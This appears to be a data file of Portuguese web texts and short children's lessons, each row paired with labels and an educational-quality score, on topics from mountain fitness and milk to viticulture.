+Tronco e braços: Mas não se trata só das pernas: No montanhismo é necessário ter um tronco forte e bem treinado – incluindo ombros e braços. Seu tronco te mantém ereto para quaisquer movimentos imprevisíveis como, por exemplo, se você for atingido por uma rajada de vento que possa te derrubar. Aqui, os planks são sempre a melhor aposta. É ótimo ter uma combinação de planks estáticas e dinâmicas, tais como high plank shoulder taps ou low plank twists. Braços fortes também tem um papel muito mais importante do que você pensa, agindo como sua ferramenta para pegar, empurrar e puxar ou mesmo acelerar naqueles metros finais até o topo. O treino regular com exercícios como pullups, pushups e incline rows é um ótimo jeito de fortalecer o bíceps e o tríceps, bem como suas costas. E exercícios como deadlifts, no aplicativo Freeletics Gym, podem ser usados ​​para melhorar a força de pegada e para treinar os flexores do punho
+Resistência Aeróbica: Caminhada em trilhas envolve seu corpo em constante movimento por um longo período de tempo. Portanto, é crucial que você treine sua resistência aeróbica correndo ou remando com uma intensidade baixa a média por cerca de 90 a 120 minutos. Isso faz com que seu corpo se acostume à intensidade e à sensação de estar em constante movimento por horas a fio.
+Snowboard e esqui são considerados movimentos acíclicos. Aqui, em vez de movimentos repetidos regularmente, explosões curtas de energia e a força tomam o lugar, além de um alto grau de concentração mental. Veja o que você precisa trabalhar:
+Equilíbrio: Os praticantes de snowboard dirão que é mais fácil esquiar, os esquiadores dirão que é mais fácil fazer snowboard – dizemos que ambos merecem atenção. O equilíbrio é a chave para esses esportes de montanha e pode ser treinado através da realização de certos exercícios em objetos instáveis ​​- por exemplo, pushups com as mãos e os pés sobre bolas medicinais, ou exercícios que exijam que você fique de pé em uma perna, tais como pistol squats.
+Concentração e tempo de reação: Um esquiador/praticante de snowboard com experiência sempre pensa um passo à frente de várias voltas e normalmente realiza os movimentos subconscientemente. Este “planejamento” pode ser observado na fase de preparação em corridas de esqui, quando os atletas ficam de olhos olhos fechados enquanto são levados montanha acima. No final de um longo dia de esqui, você reconhecerá q...",original,original,original,original,3,0.6
+"Dia internacional do Leite - Notícia - Resfriadores Tropical - Tecnologia na medida certa
+No dia 24 de junho todos os países do mundo celebram o alimento considerado um dos mais nobres, o Leite. Consumido desde os primeiros meses de vida esse alimento está presente nas diferentes fases da vida do homem.
+O leite tem grande importância na alimentação do ser humano, por isso tem uma data especial no calendário de comemorações. Ocupa lugar de destaque quando o assunto é nutrição por ser rico em proteínas, carboidratos, gorduras, sais minerais e vitaminas. O cálcio, responsável pela formação dos ossos, é o mineral com grande presença no leite.
+Consumir leite faz parte da rotina das pessoas. Saiba algumas curiosidades sobre esse alimento tão importante:
+- Vacas não produzem leite somente durante o período de amamentação. Sua lactação começa com o nascimento do bezerro, mas continua após o desmame, estimulada pela ordenha mecânica e manual.
+- Análises históricas revelam que o consumo de leite de vaca, pelo homem, tenha começado há 11.000 anos, com a domesticação dos primeiros animais.
+- O consumo de leite quente antes de dormir auxilia no sono. Isso porque o leite contém cálcio que estimula o relaxamento e tripofano, que é convertido pelo nosso organismo em serotonina, que também ajuda a adormecer.
+- Leite é um potencial hidratante. Foi descoberto recentemente que o consumo de leite após os exercícios pode ter efeitos positivos na regeneração e construção dos músculos e hidratação.
+- O leite em pó é resultado da “secagem” do leite de vaca. Para isso, o líquido passa por processos que fazem com que a água evapore e ele se transforme no que conhecemos como leite em pó.",original,original,original,original,4,0.8
+"por Kiara Cavalcante publicado em 20/06/2022 — última modificação em 20/06/2022 16h05 registrado em: Edital, Em Aberto
+Resultado Preliminar
+por Elizandra Pinheiro publicado em 04/04/2022 — última modificação em 04/04/2022 18h29 registrado em: Edital, Encerrado
+Resultado Preliminar
+por Jandecir Rodrigues publicado em 21/09/2021 — última modificação em 21/09/2021 17h35 registrado em: Edital
+Resultado preliminar
+por Hugo Almeida Pereira publicado em 06/12/2021 — última modificação em 06/12/2021 18h27 registrado em: Edital, Em Aberto
+Resultado Preliminar
+por Rubens Rosa publicado em 03/06/2021 — última modificação em 03/06/2021 10h27 registrado em: Edital, Encerrado
+Resultado preliminar
+por Elizandra Pinheiro publicado em 04/03/2021 — última modificação em 04/03/2021 18h30 registrado em: Edital, Em Aberto
+Resultado preliminar
+por Márcio de Lima Araújo última modificação em 31/10/2022 10h29 registrado em: Edital, Encerrado
+Resultado Preliminar
+por Marina Ribeiro Pereira publicado em 14/03/2022 — última modificação em 14/03/2022 21h00 registrado em: Edital, Encerrado
+Resultado Preliminar
+por Kiara Cavalcante publicado em 22/07/2022 — última modificação em 22/07/2022 23h53 registrado em: Edital, Em Aberto
+Resultado Preliminar
+por Kiara Cavalcante publicado em 10/06/2022 — última modificação em 10/06/2022 16h57 registrado em: Em Aberto, Edital",original,original,original,original,0,0.0
+"“Modas & Bordados” surge no ano de 1920 como suplemento do jornal “O Século”, periódico diário de Lisboa fundado em 1880 pelo jornalista Sebastião de Magalhães Lima, e foi uma publicação dirigida, não só mas essencialmente, à mulher, abordando temas como moda, culinária, etiqueta, beleza, cultura, educação, entre outros.
+Em 1928, a revista ganha outra dimensão sob a direção de Maria Lamas (desde logo patente na mudança de nome que passa a ser “Modas & Bordados: Vida Feminina”), introduzindo novas temáticas centradas nas atividades culturais, políticas e sociais desenvolvidas por mulheres e nos seus direitos, desempenhando um papel educativo na construção de um novo discurso na imprensa feminina. Também em 1928 surgira a revista “Cinéfilo”, igualmente suplemento do mesmo jornal – e já agora, a título de curiosidade, aos leitores era oferecida a possibilidade de assinatura de ambos, com preços que iam desde 17$50 por uma assinatura por três meses para continente e ilhas.
+O álbum que nos chegou, infelizmente com muitas páginas em branco, inclui os retratos de atrizes com a anotação a tinta do número respetivo da revista (todos eles do ano de 1940), e no verso das imagens surge, ora em inglês ora em português, o texto (assinado pelos departamentos de publicidade dos grandes estúdios de cinema norte-americanos) onde consta a descrição do guarda-roupa. Os figurinos apresentados são endossados por atrizes como Vivien Leigh, Janice Chambers, Jo Ann Sayers, Jeanette Macdonald, Joan Crawford, Lana Turner, Judy Garland, entre outras.
+Nelas se pode ver como a moda e o cinema são refletores de mudança, transformações políticas, económicas, sociais, culturais, em que a sociedade é sensível aos seus estímulos, adotando os estilos impostos pelas estrelas de cinema, que determinam, ou melhor, ditam as tendências, podendo ser negativas ou positivas, dependendo dos movimentos dos fluxos naturais das sociedades. A mulher representada neste álbum é decidida, lutadora, criativa, económica e mais liberta de preconceitos, com figurinos simples, que lhe possa permitir também trabalhar.
+O conjunto de fotografias de atrizes que compõem o “Álbum Modas & Bordados”, além da sua delicada estética, constitui um documento histórico valioso na medida em que nos conta histórias diversas. Narrativas visuais contextualizadas e que nos transportam a uma determinada época histórica, politica, social e cultural através do seu guarda-roupa, penteados, representação cénica, e do seu objeto de “abrigo”, o álbum em si.",original,original,original,original,3,0.6
+"como se fosse uma baleia...: Limitações e simetria (alguma)
+Não consigo compreender como é que um homem pode querer deslocar o seu ponto de aplicação (produzir trabalho, portanto) para ir ver um concerto da Madonna. Ou da Esther, que para todos os efeitos é a mesma coisa.
+Para ser franco, não consigo sequer compreender como é que alguém, independentemente do género e/ou do que eufemisticamente se designa por ""inclinação sexual"", pode querer produzir trabalho (deslocar o seu ponto de aplicação, portanto) para ir ver um concerto da Esther. Ou da Madonna, que para todos os efeitos é a mesma coisa.",original,original,original,original,0,0.0
+"Prefeitura de Teresina suspende pagamento de IPTU
+Em razão da crise gerada pela pandemia do coronavírus ( covid 19) e diante das consequências econômicas e sociais que o necessário isolamento social nos impõe, a Prefeitura de Teresina está suspendendo o prazo de pagamento do IPTU.
+No entanto, diante das imensas dificuldades que a crise tem trazido para todos, em especial para as finanças públicas e pensando no bem estar e continuidade dos serviços e ações emergenciais para a cidade e em especial para manutenção das atividades de saúde pública neste momento de extrema gravidade, a Prefeitura ressalta e pede a colaboração e compreensão social e solidária da população no sentido de que quem puder pagar no prazo estipulado seu IPTU que faça o pagamento, pois este gesto ajudará muito para superarmos esta crise.
+Por outro lado, cumpre deixar claro que aqueles que não puderem pagar o IPTU neste momento, a Prefeitura irá estabelecer um novo prazo de vencimento tão logo tenhamos passado estas dificuldades do momento., sem que haja qualquer prejuízo para o contribuinte.
+“ o prazo de pagamento do IPTU está suspenso, mas se você puder , colabore com a cidade e pague agora”.",original,original,original,original,1,0.2
+"Olá, pequenos historiadores! Já pensaram em como sabemos o que aconteceu antes de nascermos? É como se tivéssemos um mapa gigante do tempo, chamado linha do tempo. Imagine uma régua muito, muito comprida, onde marcamos os acontecimentos importantes, desde o passado mais distante até os dias de hoje. 
+
+A linha do tempo é uma ferramenta super legal para entendermos a ordem das coisas. Pensem na vida de vocês: primeiro, vocês nasceram, depois aprenderam a andar, começaram a ir para a escola e agora estão aqui, lendo sobre a linha do tempo! Cada uma dessas coisas pode ser colocada na linha do tempo da vida de vocês. É como organizar fotos em um álbum, só que em vez de fotos, colocamos eventos. 
+
+E não é só a nossa vida que tem uma linha do tempo! A história do Brasil, do mundo, dos dinossauros… tudo pode ser organizado assim. Por exemplo, podemos criar uma linha do tempo da nossa escola: quando ela foi fundada, quando construíram a biblioteca, quando plantaram aquela árvore enorme no pátio. Isso nos ajuda a entender como a escola mudou e cresceu ao longo dos anos. 
+
+Vamos imaginar a história do Brasil: primeiro, os povos indígenas já viviam aqui. Depois, chegaram os portugueses. Depois, o Brasil se tornou independente. Cada um desses momentos tem o seu lugar na linha do tempo do nosso país. Entender essa ordem nos ajuda a compreender como o Brasil se tornou o que é hoje. 
+
+Mas quem decide o que entra na linha do tempo? Bem, geralmente escolhemos os eventos mais importantes ou aqueles que nos ajudam a entender melhor a história. É como escolher as fotos mais bonitas para o álbum! 
+
+A linha do tempo não precisa ser perfeita, o importante é que ela nos ajude a organizar as ideias e a entender como as coisas aconteceram. Que tal criar uma linha do tempo da sua família? Você pode perguntar aos seus pais e avós sobre os momentos mais importantes da vida deles e colocar tudo em ordem. Será uma aventura incrível descobrir o passado e entender como ele influenciou o presente! 
+
+E aí, preparados para viajar no tempo e explorar a história através da linha do tempo? Lembrem-se: cada um de nós faz parte dessa história e tem o poder de construir um futuro ainda melhor!",História,Linha do tempo,anos iniciais (1º ao 5º ano),"O texto introduz o conceito de linha do tempo de forma clara e envolvente, adequada para o ensino fundamental, utilizando exemplos práticos e relacionáveis à vida dos alunos. Apresenta a utilidade da ferramenta para organizar eventos históricos e pessoais, incentivando a pesquisa e o aprendizado de forma lúdica. A linguagem é acessível e o conteúdo é relevante para o currículo de história, tornando-o valioso para fins educacionais.",5,1.0
+"RE (Aprender) a respirar – Tânia da Cunha
+BlogHome Blog Ansiedade, Stress RE (Aprender) a respirar
+RE (Aprender) a respirar
+A respiração está connosco a todo o tempo e é uma das ferramentas mais acessíveis que temos para nos ajudar a relaxar e a cultivar a consciência. Respirar é muito simples, inspiramos e expiramos ao longo da nossa vida e podemos aprender a dar importância ao poder da respiração natural para nos ajudar a lidar com a nossa vida de uma forma mais satisfatória.
+Desenvolver uma consciência da respiração permite-nos criar uma âncora ao momento presente, mantendo-nos calmos, enquanto ao mesmo tempo nos permite estar abertos à experiência, seja ela qual for. Podemos aprender a deixar que a respiração respire por si só. Podemos desenvolver uma recetiva, relaxada consciência como se estivéssemos a acompanhar uma onda gentil enquanto o ar flui dentro e fora do corpo.
+Convido-o agora a experimentar:
+Instale-se numa posição confortável, deixe que os seus olhos se fechem levemente, e sintonize-se com a respiração.
+Coloque uma mão no abdómen e a outra no peito. Respire lentamente pelo nariz permitindo que a mão sobre o abdómen suba. O seu tórax deve mover-se somente um pouco. Deixe-se ficar neste movimento e repouse a atenção na respiração.
+Agora, gradualmente, prolongue cada expiração encontrando a sua própria cadência e ritmo.
+De vez em quando, é natural que a mente vagueie para longe da respiração. É o que as mentes fazem. Quando notar, reconheça-o gentilmente, reparando para onde foi a mente e traga-a de volta para a respiração.
+No final do exercício percorra o corpo com atenção para verificar se há alguns sinais de tensão. Compare como se sente neste momento, em relação ao modo como se sentia no início.
+“A respiração faz abrir uma possibilidade diferente: a de permitir que a vida se viva a si própria durante uns momentos, a de ver qual é a sabedoria que emerge quando não se vai a correr “compor as coisas””.
+Sabia que agorafobia forma-se, na maioria dos casos, depois de uma ou várias experiências de…
+O Stress e as suas consequências…
+O termo stress faz, cada vez mais, parte da linguagem corrente, sendo-lhe atribuída conotação negativa.…
+previous post: Aprender a relaxar
+next post: Ideias e dicas para reduzir o stress",original,original,original,original,3,0.6
+"Qual a nossa responsabilidade no uso das redes sociais?
+A internet é utilizada diariamente por 3,2 bilhões de pessoas no mundo, mas será que sabemos utilizá-la com responsabilidade e ética?
+Infelizmente, tornou-se “comum” ouvir, nos noticiários, que jovens se suicidaram por não aguentarem a pressão das redes sociais e aplicativos virtuais, assim como às vezes ouvimos que pessoas foram consideradas culpadas por algo que nem cometeram.
+É difícil imaginar a dimensão que fotos, vídeos e palavras podem alcançar, quando circuladas em redes sociais, tal como aquela famosa corrente que vai sendo passada de um para o outro e, de repente, já “viralizou”, alcançando milhares de pessoas.
+Para ajudar na reflexão e orientação dos adolescentes no uso ético e responsável da internet, seguem 8 tópicos:
+Coloque-se no lugar do outro. Exerça a empatia: Se eu recebesse essa mensagem que eu encaminhei para o “outro”, como eu me sentiria?
+A notícia que eu recebo e quero compartilhar é verdadeira? Sabemos que há sites especializados em espalhar notícias falsas e que ganham muito dinheiro com isso. Por que não investigar sobre a veracidade da informação que quero transmitir?
+Qual a real intenção de compartilhar fotos e vídeos de acidentes? Infelizmente, é muito comum recebermos esse tipo de vídeo, mas não devemos compartilhá-los; além de não acrescentar em nada, lembremos que há famílias vivendo uma perda. Precisam de acolhimento, ao invés de exposição;
+Ter conta em sites de relacionamento não me faz especialista em todos os assuntos. Não somos capazes de opinar sobre todos os assuntos, entretanto, muitas vezes, falamos sobre política, artes, gastronomia, história, cinema etc. Talvez se opinássemos sobre o que realmente sabemos, nossas opiniões não seriam tão vazias e fariam mais sentido para muitas pessoas as que lêem;
+Espalhar boatos na internet causando pânico na população é crime. O ato de não verificar se as informações que queremos repassar são verdadeiras pode causar medo e, na maioria das vezes, são notícias falsas;
+A liberdade de expressão é muito diferente do falar de forma irresponsável. Não podemos falar tudo o que pensamos sobre o outro ou uma situação somente de um ponto de vista, sem contextualizar a situação;
+Lembre-se de que as palavras podem ferir e ajudar a espalhar determinados conteúdos inverossímeis e inverídicos na internet;
+Nunca se esqueça de que devemos ter ética e responsabilidade sobre todos os conteúdos que compartilhamos.
+Enfim, trata-se de um assunto de grande importância, ou seja, precisamos refletir sobre o modo que estamos usando diariamente a internet. Todos nós.",original,original,original,original,4,0.8
+"Terrarium tem tudo para ir parar à pequena história da FC portuguesa num lugar de grande destaque. Senão, vejamos:
+Com as suas quase 600 páginas, é o maior romance de FC já escrito e publicado em Portugal.
+É o primeiro (e até agora único) romance da FC portuguesa que nasce da colaboração entre dois autores de topo do género entre nós.
+É um romance estruturalmente bizarro, o que se reflecte no subtítulo (um romance em mosaicos).
+É por muitos considerado o melhor romance de FC já escrito em língua portuguesa.
+E, do lado negativo, é o romance que marca o quase desaparecimento dos dois autores, que não voltaram a sair em livros próprios até hoje, tendo publicado apenas contos em revistas e colectâneas e, mais recentemente, na web.
+Como é apanágio da ficção de João Barreiros, aqui fielmente seguida pelo co-autor, as coisas vão-se desenrolando com um detalhe que chega a ser barroco, numa hiper-violência demencial e, claro, sempre cada vez pior até à catástrofe final. Uma coisa o livro não é: chato. As 600 páginas não passarão num ápice, mas passam certamente depressa.
+OK, então Terrarium é um livro complexo na história e na estrutura, exigente, não chato, etc. Será que não tem defeitos?
+Teria sido evitável? Dificilmente. A prosa de João Barreiros é demasiado característica, e o próprio Barreiros não é escritor que aceite bem a necessidade de escrever de outra forma que não a sua. Uma coordenação estilística mais profunda significaria quase inevitavelmente uma diluição de Luís Filipe Silva. E este também não veria tal coisa com bons olhos, certamente.
+Assim, quem fica a perder é o romance. Esta luta de vozes fá-lo perder parte da sua eficácia, fazendo-o baixar a barreira do extraordinário. Mas ainda assim, é um romance excelente, e imprescindível para todos os que querem dizer com propriedade que sabem algo do que falam quando falam de FC portuguesa.
+e escreveu a introdução e os contos:",original,original,original,original,1,0.2
+"Onde tem essa marca, tem um produto ou empresa que valoriza a floresta em pé e os povos que vivem dela.
+[ ]
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+[ ACESSO RESTRITO ]
+[ Produtos ]
+[ Empresas ]
+[ Organizações ]
+[ Governança ]
+[ Biblioteca ]
+Publicações
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+[ Contato ]
+Área Protegida
+[ Produto ]
+[ Óleo de Pequi ]
+O Óleo de Pequi do Povo Kĩsêdjê do Xingu, extraído por método tradicional a frio, concentra o sabor e o poder medicinal da fruta.
+[ Saiba + ]
+Óleo de Pequi
+O projeto Hwĩn Mbê de produção de Óleo de Pequi do Xingu é uma iniciativa do povo Kĩsêdjê do Xingu, com apoio do Instituto Socioambiental (ISA). Com a palavra, os Kĩsêdjê: ""Nós reconquistamos nosso território tradicional do povo Kĩsêdjê, a Terra Indígena Wawi, em 1998. Em nosso território haviam áreas desmatadas por fazendeiros que chegaram quando os irmãos Villas-Bôas nos levaram para o Parque Indígena do Xingu, em 1959."" ""Usamos o pequi para fazer a floresta de novo, com fruta que a gente consome. O pequi é natural, orgânico, não usa veneno, a gente pode usar à vontade. Plantamos nas roças e onde a floresta foi derrubada e aproveitamos para comer e tirar o óleo para passar na pele e pintar para as festas. Agora o pequi está sobrando, e começamos a tirar o óleo para comercializar. Esse trabalho fazemos só uma vez no ano, todo mundo junto, com um mutirão na época do pequi, de forma que não atrapalha a nossa convivência, cotidiano e atividades tradicionais. Essa atividade visa criar alternativas de trabalho e renda capazes de manter as próximas gerações na aldeia e na cultura tradicional nossa."" O óleo de pequi é usado na galinhada e no arroz com pequi, bem como em frituras e massas. É um azeite aromático em saladas e outros pratos. Com altos teores de vitaminas, ferro e fósforo, é chamado de “roupa do índio”, porque dá à pele um tom dourado, hidrata e nutre. A alta concentração de betacaroteno pró-vitamina A (107.000 U.I/100g.) absorve radiações ultravioletas e neutraliza radicais livres.
+Mais sobre a extração deste produto
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+[ Serviços Socioambientais ]
+[ Serviços Socioambientais ]
+Os territórios de Diversidade Socioambiental prestam importantes serviços para a humanidade.
+[ Saiba + ]
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+[ Pesquisa de opinião Origens Brasil® ]
+Você compraria este produto? Sim
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+Sua opinião foi enviada com sucesso!
+Sua opinião não pôde ser enviada. Tente novamente.
+Por que você compraria este produto? (Você pode selecionar mais de uma alternativa)
+Porque contém o selo Origens Brasil®.
+Porque assegura a origem do produto e promove a transparência de sua cadeia produtiva.
+Porque promove relações comerciais éticas entre empresas e as populações tradicionais, povos indígenas e/ou quilombolas.",original,original,original,original,3,0.6
+"Por onde anda a Emmanuelle do “Cine Band Privé”? Veja – SRS
+Por onde anda a Emmanuelle do “Cine Band Privé”? Veja
+Quem cresceu na década de 1990 e início dos anos 2000 deve se recordar da extinta sessão de filmes “Cine Band Privé”, que ia ao ar pela Band nas madrugadas de sábado para domingo.
+Exibindo filmes eróticos, a sessão fez bastante sucesso, chegando a liderar o horário diversas vezes, e não raramente, sendo a atração mais assistida do canal, com 5 ou 6 pontos.
+Inicialmente exibido às sextas-feiras, quando era chamado de “Sexta Sexy”, de 1993 até 1995, passou a se chamar “Cine Privé” e posteriormente “Cine Band Privé”, exibindo longas mais voltados à sensualidade e erotismo.
+Dentre essas séries transmitidas, está “Emmanuelle”, que teve a já falecida Sylvia Kristel como protagonista, mas também a atriz Krista Allen, que fazia a alegria da garotada. Por onda anda?
+Krista Allen está atualmente com 46 anos, e a série de telefilmes “Emmanuelle” abriu as portas para ela, que sempre engata participações em séries e longa-metragens.
+A atriz já teve um dos relacionamentos mais badalados de Hollywood. Em 2002, conheceu George Clooney nas filmagens de “Confissões de Uma Mente Perigosa”. Eles namoraram por dois anos. Krista também já foi casada duas vezes, a última entre 2010 e 2011, com um cantor britânico, Mams Taylor.
+Profissionalmente, participou de diversas produções, como em episódios pontuais de “Smallville”, “Friends”, “Monk”, “Charmed”, “Modern Family”, dentre outras.
+Recentemente, foi protagonista da série “Significant Mother”, da emissora The CW, rede aberta dos Estados Unidos que pertence à Warner Bros. e CBS. Devido à baixa audiência, foi cancelada com apenas nove episódios em agosto do ano passado.
+Previous Post:Mulher Melancia lança nova dança e derruba a internet com sua sensualidade. Assista e babe
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+"Pastor sugere adoção da regra Billy Graham contra acusações de assédio
+Assuntos Assédio Sexual Billy Graham escândalos sexuais Igrejas Evangélicas LifeWay Christian Resource pastor Thom Rainer Regra Billy Graham",original,original,original,original,1,0.2
+"Visita: MJV - São Paulo Ingressos, Ter, 08/05/2018 às 14:30 | Eventbrite
+Visita: MJV - São Paulo
+ter 8 de maio de 2018, 14:30 – 16:30 Horário Padrão de Brasília Horário Brasil (São Paulo)
+MJV Soluções Tecnologia
+Helena 280
+São Paulo, SP 04552050
+Nossa 86º visita
+Para você fazer um tour pelo escritório da MJV São Paulo, conhecer os times, suas rotinas, desafios e bater um papo com Henrique Locatelli Ribeiro - Head of Innovation de lá.
+Tecnologia; Gamificação; Design Thinking; Big Data; Lean; IoT; Escritório;
+Esta visita é direcionada para estudantes e profissionais de Design, Design Digital e Tecnologia (TI).
+Somos uma empresa que há 20 anos se dedica a transformar negócios, no Brasil e no mundo. Nosso time é multidisciplinar, formado por mais de 400 profissionais especializados na construção de soluções inovadoras em colaboração com nossos clientes.
+Nossas áreas de conhecimento, que nos distinguem no mercado, são Design Thinking, Gamificação, Big Data/Analytics, Metodologia Lean, Estratégia Digital e Internet das Coisas.
+Saiba mais em http://www.mjv.com.br/
+Visita: MJV - São Paulo em MJV Soluções Tecnologia
+Helena 280 Vila Olímpia, São Paulo, SP 04552050, Brazil",original,original,original,original,2,0.4
+"Olá, pequenos exploradores! Já pararam para pensar que os números estão por toda parte? No número da nossa casa, na quantidade de brinquedos, na idade dos nossos amigos… A matemática é como um mapa secreto que nos ajuda a entender o mundo ao nosso redor. Hoje, vamos embarcar em uma aventura para desvendar os números e as operações básicas: a adição e a subtração.
+
+Imagine que você tem 3 carrinhos de corrida vermelhos e seu amigo te dá mais 2 carrinhos azuis. Quantos carrinhos você tem agora? Para descobrir, usamos a adição, que é como juntar coisas. 3 carrinhos + 2 carrinhos = 5 carrinhos! O símbolo da adição é o +. É como um sinal de mais, que nos diz para acrescentar, para somar.
+
+Agora, imagine que você tinha aqueles 5 carrinhos, mas seu irmão pegou emprestado 1 carrinho para brincar. Quantos carrinhos você tem agora? Para descobrir, usamos a subtração, que é como tirar coisas. 5 carrinhos – 1 carrinho = 4 carrinhos! O símbolo da subtração é o -. É como um tracinho que nos diz para remover, para diminuir.
+
+Vamos pensar em outra situação. Você tem 7 balas e quer dividir com seu melhor amigo. Se você der 3 balas para ele, com quantas balas você ficará? Use a subtração! 7 balas – 3 balas = 4 balas. Viu só? A matemática nos ajuda a resolver problemas do dia a dia!
+
+A adição e a subtração são como ferramentas mágicas que nos ajudam a contar, a organizar e a entender o mundo. Pratiquem em casa! Contem seus brinquedos, contem quantas frutas tem na fruteira, perguntem para seus pais quantos anos eles têm. Quanto mais vocês praticarem, mais fácil e divertido será desvendar os segredos dos números.
+
+Lembrem-se: a matemática não é um bicho de sete cabeças! É uma aventura emocionante que nos ajuda a pensar, a resolver problemas e a descobrir coisas novas. E aí, prontos para continuar explorando o mundo dos números? Que tal inventar suas próprias histórias com adição e subtração? O que aconteceria se você tivesse 10 figurinhas e ganhasse mais 5? Ou se você tivesse 8 lápis de cor e perdesse 2? Use a imaginação e divirta-se com a matemática! A aventura está apenas começando!",Matemática,Números e operações básicas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional para os anos iniciais do ensino fundamental. Introduz conceitos básicos de adição e subtração de forma lúdica e contextualizada, utilizando exemplos do cotidiano das crianças. A linguagem é clara, acessível e estimula a prática e a imaginação. O texto é totalmente apropriado para o nível de ensino, sem informações supérfluas ou complexas. A abordagem é coerente, focada e valiosa para um aprendizado estruturado e divertido.",5,1.0
+"Olá, pequenos detetives da matemática! Já pararam para pensar que a matemática está em todo lugar? No número da nossa casa, na hora de dividir os brinquedos com os amigos, no preço do pãozinho na padaria… E para nos ajudar a entender tudo isso, existe uma ferramenta superpoderosa: a resolução de problemas! 
+
+Mas o que significa resolver um problema? Imagine que você é um detetive e cada problema é um mistério a ser desvendado. Precisamos encontrar pistas, analisar as informações e usar o nosso raciocínio para chegar à solução. Não é legal? 
+
+O primeiro passo é ler o problema com muita atenção. Sublinhe ou anote as informações mais importantes. O que o problema está pedindo? Quais são os números envolvidos? Por exemplo: ""Maria tem 5 balas e ganhou mais 3 do seu amigo João. Quantas balas Maria tem agora?"" Aqui, as informações importantes são: Maria tem 5 balas, ganhou 3 balas, e queremos saber o total de balas. 
+
+Depois de entender o problema, precisamos escolher a operação matemática certa. Adição? Subtração? Multiplicação? Divisão? No nosso exemplo, como Maria ganhou balas, vamos usar a adição: 5 + 3 = 8. Então, Maria tem agora 8 balas! Viu como é fácil? 
+
+Vamos a outro exemplo. Imagine que você quer comprar um brinquedo que custa 12 reais, mas você só tem 7 reais. Quanto falta para você conseguir comprar o brinquedo? Aqui, precisamos usar a subtração: 12 - 7 = 5. Faltam 5 reais! 
+
+A resolução de problemas não é apenas sobre encontrar a resposta certa. É sobre aprender a pensar, a organizar as ideias, a usar a lógica e a criatividade. E o mais importante: não tenha medo de errar! Se a resposta não estiver certa na primeira vez, tente de novo. Leia o problema com calma, procure outras pistas e experimente outras soluções. 
+
+Resolver problemas de matemática é como brincar de detetive, desvendando mistérios e aprendendo cada vez mais sobre o mundo ao nosso redor. Então, preparem suas lupas e vamos juntos nessa aventura matemática! Que tal, depois de ler, você procurar alguns objetos em casa e inventar um problema para seus pais ou amigos resolverem?",Matemática,Resolução de problemas,anos iniciais (1º ao 5º ano),"O trecho apresenta informações relevantes sobre resolução de problemas matemáticos de forma acessível para crianças, utilizando exemplos práticos e linguagem lúdica. Introduz a ideia de identificar informações importantes e escolher a operação correta. Estimula o raciocínio lógico e a criatividade, incentivando a persistência e a experimentação, adequado ao ensino fundamental.",5,1.0
+"Sustentabilidade Agrosustentavel – Viticultura Sustentável
+Browsing ""Sustentabilidade""
+Dicas Para a Escolha do Porta-enxerto
+Jan 26, 2016 // by Pedro Tereso // Sustentabilidade // No Comments
+Quando Projectamos uma vinha, tudo é planeado ao milímetro… A Ripagem, os Postes e Respectivo Sistema de Condução, o Sistema de Rega, as Plantas…Tudo… Bom Tudo? Não… Quase Tudo…
+Pois Temos a Sensação que a Escolha do Porta-enxerto depende em muito do que “houver disponível” no Viveirista…Assim e de forma a evitar a escassez de plantas que ocorreu durante 2014 e 2015 no mercado viveirista, há que planear, projectar e encomendar já, as plantas a plantar em 2017.
+Se na escolha das castas o processo é simples, normalmente optamos pelas castas da moda, o projecto de vinha também deve necessariamente incluir a escolha do porta-enxerto mais adequado ao ecossistema vitícola, e este compreende o tipo de solo, a casta, o sistema de condução e o objectivo de produção.
+O Solo e o seu pH
+O pH ideal da maioria dos porta-enxertos andará entre os 5,5 e os 7, todo o solo que esteja abaixo ou acima destes valores já merece uma intervenção para alteração do pH, através da aplicação de calcário ou de enxofre consoante a situação… Mas em todo o caso, podemos optar em situações de elevada acidez, onde o alumínio está em excesso, com forte retenção de magnésio e potássio e reduzida nitrificação, sugerimos os porta-enxertos mais tolerantes de todos os disponíveis… São eles o Gravessac e o 196-17C, para além da acidez toleram solos com elevada capacidade de retenção de água, apresentam vigor aceitável e o porta-enxerto 196-17C ainda tolera a secura, sendo muito utilizado em vinhas de sequeiro e em solos de fertilidade reduzida.
+Calcário Activo
+Solos com reacção superior a 7, podem apresentar elevados teores de calcário activo (acima dos 17%), lembro-me dos argilo-calcários da região de Borba e aqui… Quando isto acontece… O ideal será optar por porta-enxertos resistentes ao calcário, como o 140 RU para regiões quentes e secas e o 161-49C para outras mais frescas e de solos mais férteis.
+Começa a ser importante olhar para a presença de cloreto de sódio no solo e respectiva escala de resistência dos porta-enxertos, principalmente para zonas mais quentes, secas e de regadio, pois acima de valores de 1,5% só o pé franco sobrevive…
+Extremamente importante e factor critico para a qualidade da produção é a escolha do porta-enxerto e a sua influência no vigor, na produtividade e no grau de precocidade na maturação da casta.
+De uma forma geral, os porta-enxertos vigorosos, ambas as séries Richter (99R e 110R) e Paulsen (1103P) induzem o vigor e a produtividade (mais os Richter) e por esta razão são indicados para as regiões mais quentes e secas, contrariando assim o impacto sobre o vigor.
+Uma nota… Quem não conhece a múltipla rebentação do 1103P, quando enxertado em Touriga Nacional? E a sua sensibilidade à carência de Boro?… Como compreende todos estes apontamentos influenciam…
+Já porta-enxertos da série Teleki (5BB), o SO4, 157-11C e o 161-49C deveram ser reservados para condições de clima húmido e solos mais profundos e férteis, porque apresentam características de menor vigor e de adiantamento da maturação.
+Muitas dúvidas surgirão ao longo do processo de escolha do porta-enxerto mas tenha sempre a noção que dependendo das características de vigor, da produtividade e grau de maturação pretendida, tenho como regra que devemos evitar enxertia de porta enxertos vigorosos em castas de ciclo longo, por promover maturações incompletas e em castas de elevada fertilidade (Alicante B. por ex). Por outro lado são recomendáveis enxertias de porta-enxertos que induzam maturações mais precoces (SO4 por ex) em castas de ciclo mais longo.
+Agora… Projectar… Encomendar Plantas e Até Breve.
+O nosso conceito é simples… Queremos intervir em áreas que apresentam forte impacto na sustentabilidade da sua vinha. Aumentando, se possível, a qualidade dos seus vinhos.
+Tem Falta de Azoto Assimiláv...",original,original,original,original,4,0.8
